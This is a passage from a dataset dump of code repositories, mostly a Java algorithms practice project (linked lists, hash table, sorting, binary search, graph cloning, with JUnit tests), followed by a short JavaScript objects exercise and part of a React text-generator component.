Assertions.assertTrue(ListNodeIsLoop.isLoopList(n1));\n n2.next = n3;\n Assertions.assertFalse(ListNodeIsLoop.isLoopList(n1));\n n3.next = n4;\n Assertions.assertFalse(ListNodeIsLoop.isLoopList(n1));\n n4.next = n5;\n Assertions.assertFalse(ListNodeIsLoop.isLoopList(n1));\n n5.next = n2;\n Assertions.assertTrue(ListNodeIsLoop.isLoopList(n1));\n n5.next = n6;\n n6.next = n2;\n Assertions.assertTrue(ListNodeIsLoop.isLoopList(n1));\n }\n}/src/test/java/com/home/henry/ListNodeGetMiddleTest.java\npackage com.home.henry;\n\nimport static com.home.henry.ListNodeGetMiddle.getMiddle;\n\nimport org.junit.jupiter.api.Assertions;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nclass ListNodeGetMiddleTest {\n private ListNode n1;\n private ListNode n2;\n private ListNode n3;\n private ListNode n4;\n private ListNode n5;\n private ListNode n6;\n\n @BeforeEach\n void init() {\n n1 = new ListNode(1);\n n2 = new ListNode(2);\n n3 = new ListNode(3);\n n4 = new ListNode(4);\n n5 = new ListNode(5);\n n6 = new ListNode(6);\n }\n\n @Test\n void getMiddleTest() {\n ListNode nt = getMiddle(n1);\n Assertions.assertEquals(1, nt.data);\n n1.next = n2;\n nt = getMiddle(n1);\n Assertions.assertEquals(2, nt.data);\n n2.next = n3;\n n3.next = n4;\n n4.next = n5;\n nt = getMiddle(n1);\n Assertions.assertEquals(3, nt.data);\n n5.next = n6;\n nt = getMiddle(n1);\n Assertions.assertEquals(4, nt.data);\n }\n}/src/main/java/com/home/henry/HashTable.java\npackage com.home.henry;\n\npublic class HashTable {\n\n private int size;\n private Node[] entries;\n\n private static class Node {\n K k;\n V v;\n Node next;\n\n Node(K k, V v) {\n this.k = k;\n this.v = v;\n this.next = null;\n }\n }\n\n public HashTable(int size) {\n this.size = size;\n entries = new Node[size];\n for (int i = 0; i < entries.length; i++) {\n entries[i] = null;\n }\n }\n\n public HashTable() {\n this(1 << 3);\n }\n\n private int hash(Object obj) {\n return obj == null ? 0 : (obj.hashCode() % size);\n }\n\n public void set(K k, V v) {\n Node node = new Node<>(k, v);\n node.next = entries[hash(k)];\n entries[hash(k)] = node;\n }\n\n public Object get(K k) {\n Node entry = entries[hash(k)];\n if (entry == null) {\n return null;\n } else {\n while (entry != null) {\n if (entry.k.equals(k)) {\n return entry.v;\n }\n entry = entry.next;\n }\n return null;\n }\n }\n\n public static void main(String[] args) {\n HashTable h = new HashTable();\n for (int i = 0; i < 1000; i++) {\n h.set(i, Math.sqrt(i));\n }\n System.out.println(h.get(484).toString());\n }\n\n}\n/src/main/java/com/home/henry/ReverseWords.java\npackage com.home.henry;\n\n/**\n * Reverse words order in a String\n */\npublic class ReverseWords {\n public String reverseWords(char[] c) {\n if (c == null || c.length == 0) {\n return null;\n }\n reverse(c, 0, c.length - 1);\n int l = -1;\n int r = -1;\n for (int i = 0; i < c.length; i++) {\n if (c[i] != ' ') {\n l = ((i == 0) || (c[i - 1] == ' ')) ? i : l;\n r = ((i == (c.length - 1)) || (c[i + 1] == ' ')) ? i : r;\n }\n if (l != -1 && r != -1) {\n reverse(c, l, r);\n l = -1;\n r = -1;\n }\n }\n return String.valueOf(c);\n }\n\n private static void reverse(char[] c, int l, int r) {\n char tmp;\n while (l < r) {\n tmp = c[l];\n c[l] = c[r];\n c[r] = tmp;\n l++;\n r--;\n }\n }\n}\n/src/main/java/com/home/henry/RemoveZero.java\npackage com.home.henry;\n\n/**\n * 去掉String中连续出现k个0的sub string\n */\npublic class RemoveZero {\n\n private static String removeZeros(String in, int k) {\n char[] inArr = in.toCharArray();\n int count = 0;\n int start = -1;\n for (int i = 0; i < inArr.length; i++) {\n if (inArr[i] == '0') {\n count++;\n start = start == -1 ? i : start;\n } else {\n if (count == k) {\n while (count-- != 0) {\n inArr[start++] = 0;\n }\n }\n count = 0;\n start = -1;\n }\n }\n if (count == k) {\n while (count-- != 0) {\n inArr[start++] = 0;\n }\n }\n return String.valueOf(inArr).replace(\"\\u0000\",\"\");\n }\n\n public static void main(String[] args) {\n assert \"ABab0\".equals(removeZeros(\"AB0000ab0\", 4));\n assert \"ABab\".equals(removeZeros(\"AB0000ab0000\", 4));\n assert \"ABab\".equals(removeZeros(\"AB0000ab0000\", 4));\n assert \"AB00000ab00000\".equals(removeZeros(\"AB00000ab00000\", 4));\n assert \"AB00000ab\".equals(removeZeros(\"AB00000ab0000\", 4));\n }\n}/src/test/java/com/home/henry/StringRotationTest.java\npackage com.home.henry;\n\nimport org.junit.jupiter.api.Assertions;\nimport org.junit.jupiter.api.Test;\n\nclass StringRotationTest {\n\n @Test\n void isRotation() {\n StringRotation sr = new StringRotation();\n Assertions.assertTrue(sr.isRotation(\"w\", \"w\"));\n Assertions.assertTrue(sr.isRotation(\"wa\", \"aw\"));\n Assertions.assertTrue(sr.isRotation(\"waterbottle\", \"erbottlewat\"));\n Assertions.assertFalse(sr.isRotation(\"\", \"\"));\n Assertions.assertFalse(sr.isRotation(\"\", null));\n Assertions.assertFalse(sr.isRotation(\"waterbottle\", \"erbottletwa\"));\n }\n}/src/test/java/com/home/henry/RotateMatrixTest.java\npackage com.home.henry;\n\nimport org.junit.jupiter.api.Assertions;\nimport org.junit.jupiter.api.Test;\n\nclass RotateMatrixTest {\n\n @Test\n void testRotateMatrix() {\n int[][] mat = { { 1, 2, 3, 4 }, { 5, 6, 7, 8 }, { 9, 10, 11, 12 }, { 13, 14, 15, 16 } };\n RotateMatrix rotateMatrix = new RotateMatrix();\n rotateMatrix.displayMatrix(mat);\n rotateMatrix.rotateMatrix(mat);\n rotateMatrix.displayMatrix(mat);\n Assertions.assertEquals(7, mat[2][2]);\n Assertions.assertEquals(9, mat[0][1]);\n Assertions.assertEquals(10, mat[1][1]);\n Assertions.assertEquals(8, mat[3][2]);\n rotateMatrix.rotateMatrix(mat);\n Assertions.assertEquals(6, mat[2][2]);\n Assertions.assertEquals(15, mat[0][1]);\n Assertions.assertEquals(11, mat[1][1]);\n Assertions.assertEquals(2, mat[3][2]);\n rotateMatrix.displayMatrix(mat);\n }\n}/src/main/java/com/home/henry/QuickSortMiddlePivot.java\npackage com.home.henry;\n\npublic class QuickSortMiddlePivot {\n public static void qSort(int[] a, int head, int tail) {\n if (head >= tail || a == null || a.length <= 1) {\n return;\n }\n int i = head, j = tail, pivot = a[(head + tail) / 2];\n while (i <= j) {\n while (a[i] < pivot) {\n i++;\n }\n while (a[j] > pivot) {\n j--;\n }\n if (i < j) {\n int temp = a[i];\n a[i] = a[j];\n a[j] = temp;\n i++;\n j--;\n } else if (i == j) {\n i++;\n }\n }\n qSort(a, head, j);\n qSort(a, i, tail);\n }\n\n public static void main(String[] args) {\n int[] arr = new int[] { 1, 4, 8, 2, 55, 3, 6, 0, 11, 34, 90, 23, 54, 77, 9, 10 };\n qSort(arr, 0, arr.length - 1);\n StringBuilder sb = new StringBuilder();\n for (int digit : arr) {\n sb.append(digit).append(\" \");\n }\n System.out.println(sb.toString());\n }\n\n}\n/src/main/java/com/home/henry/SubSet.java\npackage com.home.henry;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\n\n/**\n * Given a set of distinct integers, S, return all possible subsets.\n * Note: Elements in a subset must be in non-descending order.\n * The solution set must not contain duplicate subsets.\n * For example, If S = [1,2,3], a solution is:\n * [ [3], [1], [2], [1,2,3], [1,3], [2,3], [1,2], [] ]\n */\npublic class SubSet {\n List> getSublist(int[] nums) {\n // Init a list to receive results\n List> results = new ArrayList<>();\n\n // Validate input\n if (null == nums || nums.length < 1) {\n return results;\n }\n\n // Sort nums\n Arrays.sort(nums);\n // Use recursion to get results\n List subset = new ArrayList<>();\n recursion(subset, nums, 0, results);\n return results;\n }\n\n // Recursion part\n private void recursion(List subset, int[] nums, int startIndex,\n List> results) {\n // Deep copy\n results.add(new ArrayList<>(subset));\n\n // for loop\n for (int j = startIndex; j < nums.length; j++) {\n // In for loop 1. add current point 2. exec recursion 3. restore current point\n subset.add(nums[j]);\n recursion(subset, nums, j + 1, results);\n subset.remove(subset.size() - 1);\n }\n }\n}\n/src/main/java/com/home/henry/BinarySearchSortedArray.java\npackage com.home.henry;\n\n/**\n * \tBinary Search a sorted array\n */\npublic class BinarySearchSortedArray {\n\n public static int binarySearch(int[] a, int value) {\n int low = 0;\n int high = a.length - 1;\n while (low <= high) {\n int mid = low + (high - low) / 2;\n if (a[mid] == value) {\n return mid;\n } else if (a[mid] < value) {\n low = mid + 1;\n } else {\n high = mid - 1;\n }\n }\n return -1;\n }\n\n // Recursive\tWay\n public static int binarySearchRecurive(int[] a, int low, int high, int value) {\n if (low > high || high > a.length - 1) {\n return -1;\n }\n int mid = low + (high - low) / 2;\n if (a[mid] == value) {\n return mid;\n }\n if (a[mid] < value) {\n return binarySearchRecurive(a, mid + 1, high, value);\n } else {\n return binarySearchRecurive(a, low, mid - 1, value);\n }\n }\n}\n/src/main/java/com/home/henry/CloneGraph.java\npackage com.home.henry;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Queue;\n\n/**\n * 给一个graph node, 每个node有list of neighbors. 复制整个graph, return new head node.\n * BFS solution\n * Use HashMap to mark cloned nodes.\n * 先能复制多少Node复制多少. 然后把neighbor 加上\n * Use `map` to mark visited\n */\nclass GraphNode {\n int value;\n List neighbours;\n\n GraphNode(int value) {\n this.value = value;\n this.neighbours = new ArrayList<>();\n }\n}\n\npublic class CloneGraph {\n public GraphNode cloneGraphNode(GraphNode node) {\n if (null == node) {\n return null;\n }\n Map hm = new HashMap<>();\n hm.put(node, new GraphNode(node.value));\n Queue queue = new LinkedList<>();\n queue.offer(node);\n while (!queue.isEmpty()) {\n GraphNode currentNode = queue.poll();\n for (GraphNode neighbor : currentNode.neighbours) {\n // Copy neighbors\n if (!hm.containsKey(neighbor)) {\n queue.add(neighbor);\n hm.put(neighbor, new GraphNode(neighbor.value));\n }\n hm.get(currentNode).neighbours.add(hm.get(neighbor));\n }\n }\n return hm.get(node);\n }\n}\n/src/main/java/com/home/henry/ListNode.java\npackage com.home.henry;\n\n/**\n * Linked List Node\n */\npublic class ListNode {\n ListNode next;\n int data;\n\n ListNode() {}\n\n ListNode(int data) {\n this.data = data;\n this.next = null;\n }\n\n public static void printListNode(ListNode node) {\n while (node != null) {\n System.out.print(node.data);\n System.out.print(\"->\");\n node = node.next;\n }\n System.out.println(\"null\");\n }\n\n void appendToTail(int d) {\n ListNode end = new ListNode();\n end.data = d;\n ListNode n = this;\n while (n.next != null) {\n n = n.next;\n }\n n.next = end;\n }\n\n ListNode deleteNode(ListNode head, int d) {\n ListNode n = head;\n if (n.data == d) {\n return head.next;\n }\n while (n.next != null) {\n if (n.next.data == d) {\n n.next = n.next.next;\n return head;\n }\n n = n.next;\n }\n return head;\n }\n}\n/src/main/java/com/home/henry/InsertionSort.java\npackage com.home.henry;\n\n/**\n * Insertion sort perform a bit better than bubble sort\n */\npublic class InsertionSort {\n private static boolean more(int v1, int v2) {\n return v1 > v2;\n }\n\n public static void sort(int[] a) {\n int size = a.length;\n int temp, j;\n for (int i = 1; i < size; i++) {\n temp = a[i];\n for (j = i; j > 0 && more(a[j - 1], temp); j--) {\n a[j] = a[j - 1];\n }\n a[j] = temp;\n }\n }\n\n public static void main(String[] args) {\n int[] a = { 9, 1, 8, 2, 7, 3, 6, 4, 5 };\n sort(a);\n for (int result : a) {\n System.out.println(result);\n }\n }\n}\n/src/main/java/com/home/henry/URLify.java\npackage com.home.henry;\n\n/**\n * Write a method to replace all spaces in a string with '%20'. You may assume that the string\n * has sufficient space at the end to hold the additional characters,and that you are given the \"true\"\n * length of the string. (Note: If implementing in Java, please use a character array so that you can\n * perform this operation in place.)\n */\npublic class URLify {\n String urlFy(String source, int length) {\n if (null == source || source.length() < 1 || source.length() < length) {\n return \"\";\n }\n source = source.substring(0, length);\n int blankNum = 0;\n char[] chars = source.toCharArray();\n for (char aChar : chars) {\n if (aChar == ' ') {\n blankNum++;\n }\n }\n char[] charFinal = new char[length + blankNum * 2];\n for (int i = length - 1, j = length + blankNum * 2 - 1; i >= 0; i--) {\n char c = chars[i];\n if (c == ' ') {\n charFinal[j--] = '0';\n charFinal[j--] = '2';\n charFinal[j--] = '%';\n } else {\n charFinal[j--] = c;\n }\n }\n return String.valueOf(charFinal);\n }\n}\n/src/main/java/com/home/henry/FindMinInSortAndReversedArray.java\npackage com.home.henry;\n\npublic class FindMinInSortAndReversedArray {\n public static int findMin(int[] arr, int low, int high) {\n if (high < low) { return arr[0]; }\n\n // If there is only one element left\n if (high == low) { return arr[low]; }\n\n // Find mid\n int mid = low + (high - low) / 2;\n\n // Check if element (mid+1) is minimum element. Consider\n // the cases like {3, 4, 5, 1, 2}\n if (mid < high && arr[mid + 1] < arr[mid]) { return arr[mid + 1]; }\n\n // Check if mid itself is minimum element\n if (mid > low && arr[mid] < arr[mid - 1]) { return arr[mid]; }\n\n // Decide whether we need to go to left half or right half\n if (arr[high] > arr[mid]) { return findMin(arr, low, mid - 1); }\n return findMin(arr, mid + 1, high);\n\n }\n}\n/src/test/java/com/home/henry/StrStrTest.java\npackage com.home.henry;\n\nimport org.junit.jupiter.api.Assertions;\nimport org.junit.jupiter.api.Test;\n\n/**\n * ALGORITHM StrStrTest\n * Description: StrStrTest\n * Author: Henry\n * Created on 2018年02月24日\n */\nclass StrStrTest {\n\n @Test\n void getStrStrTest() {\n StrStr str = new StrStr();\n Assertions.assertEquals(0, str.getStrStr(\"a\", \"a\"));\n Assertions.assertEquals(-1, str.getStrStr(\"\", \"\"));\n Assertions.assertEquals(-1, str.getStrStr(\"\", null));\n Assertions.assertEquals(-1, str.getStrStr(\"a\", \"c\"));\n Assertions.assertEquals(-1, str.getStrStr(\"abcdef\", \"efc\"));\n Assertions.assertEquals(-1, str.getStrStr(\"a\", \"ac\"));\n Assertions.assertEquals(2, str.getStrStr(\"abcabc\", \"ca\"));\n Assertions.assertEquals(4, str.getStrStr(\"abcdef\", \"ef\"));\n Assertions.assertEquals(4, str.getStrStr(\"abcdefefef\", \"ef\"));\n\n Assertions.assertEquals(0, str.getStrStrBetter(\"a\", \"a\"));\n Assertions.assertEquals(-1, str.getStrStrBetter(\"\", \"\"));\n Assertions.assertEquals(-1, str.getStrStrBetter(\"\", null));\n Assertions.assertEquals(-1, str.getStrStrBetter(\"a\", \"c\"));\n Assertions.assertEquals(-1, str.getStrStrBetter(\"abcdef\", \"efc\"));\n Assertions.assertEquals(-1, str.getStrStrBetter(\"a\", \"ac\"));\n Assertions.assertEquals(2, str.getStrStrBetter(\"abcabc\", \"ca\"));\n Assertions.assertEquals(4, str.getStrStrBetter(\"abcdef\", \"ef\"));\n Assertions.assertEquals(4, str.getStrStrBetter(\"abcdefefef\", \"ef\"));\n }\n}"},"directory_id":{"kind":"string","value":"b1dfe37c31c97a89c65b420997ebeb75f4fdec1c"},"languages":{"kind":"list like","value":["Java"],"string":"[\n \"Java\"\n]"},"num_files":{"kind":"number","value":25,"string":"25"},"repo_language":{"kind":"string","value":"Java"},"repo_name":{"kind":"string","value":"qq98982/algorithm"},"revision_id":{"kind":"string","value":"17817e3dc4591c5cf5071a6e7f4a3562679ac15b"},"snapshot_id":{"kind":"string","value":"b7fdd7dfcd91bca78d36563447fb051161dadcc7"}}},{"rowIdx":151,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"iamdanielglover/javascript-objects-lab-bootcamp-prep-000/index.js\n\n\nvar recipes = {prop: 1};\n\nfunction updateObjectWithKeyAndValue(object,key,value){\n var newObj = Object.assign({},object);\n newObj[key]=value;\n console.log(newObj);\n console.log(recipes);\n}\n\n updateObjectWithKeyAndValue(recipes,'prop2',2);\n\n function destructivelyUpdateObjectWithKeyAndValue(object,key,value){\n return Object.assign(object,object[key]=value);\n }\n\ndestructivelyUpdateObjectWithKeyAndValue(recipes,'prop2',2);\n\n function deleteFromObjectByKey(object, key){\n var newObj = Object.assign({},object);\ndelete newObj[key];\n return newObj;\n}\n\ndeleteFromObjectByKey(recipes,'prop');\n\nfunction destructivelyDeleteFromObjectByKey(object, key){\n delete object[key];\n return object;\n}\n\ndestructivelyDeleteFromObjectByKey(recipes,'prop');\n"},"directory_id":{"kind":"string","value":"48eab49eea05b6fc016e62ce666b58059f1d4bec"},"languages":{"kind":"list like","value":["JavaScript"],"string":"[\n \"JavaScript\"\n]"},"num_files":{"kind":"number","value":1,"string":"1"},"repo_language":{"kind":"string","value":"JavaScript"},"repo_name":{"kind":"string","value":"iamdanielglover/javascript-objects-lab-bootcamp-prep-000"},"revision_id":{"kind":"string","value":"3e05b8deea2e94221acd79eccbffd50fb481d947"},"snapshot_id":{"kind":"string","value":"6a30f1e6306352f73d1b2e0a508c2f93870d3050"}}},{"rowIdx":152,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"import React, { Component } from 'react';\nimport './App.css';\nimport axios from 'axios';\n\nimport Output from './components/Output';\nimport Select from './components/controls/Select';\nimport Text from './components/controls/Text';\n\nclass App extends Component {\n constructor(props) {\n super(props);\n this.state = {\n paragraphs: 4,\n html: true,\n text: ''\n }\n }\n\n componentWillMount() {\n this.getSampleText();\n }\n\n getSampleText() {\n axios.get(`http://hipsterjesus.com/api/?paras=${this.state.paragraphs}&html=${this.state.html}`, { headers: {'Access-Control-Allow-Origin': '*'}})\n .then(response => {\n this.setState({ text: response.data.text }, () => console.log(response));\n })\n .catch(error => {\n console.log(error);\n });\n }\n\n showHtml(value) {\n this.setState({ html: value }, this.getSampleText);\n }\n\n changeParagraphs(number) {\n this.setState({ paragraphs: number }, this.getSampleText);\n }\n\n render() {\n return (\n
\n

ReactJS Text Generator

\n
\n
\n
\n \n \n
\n
\n \n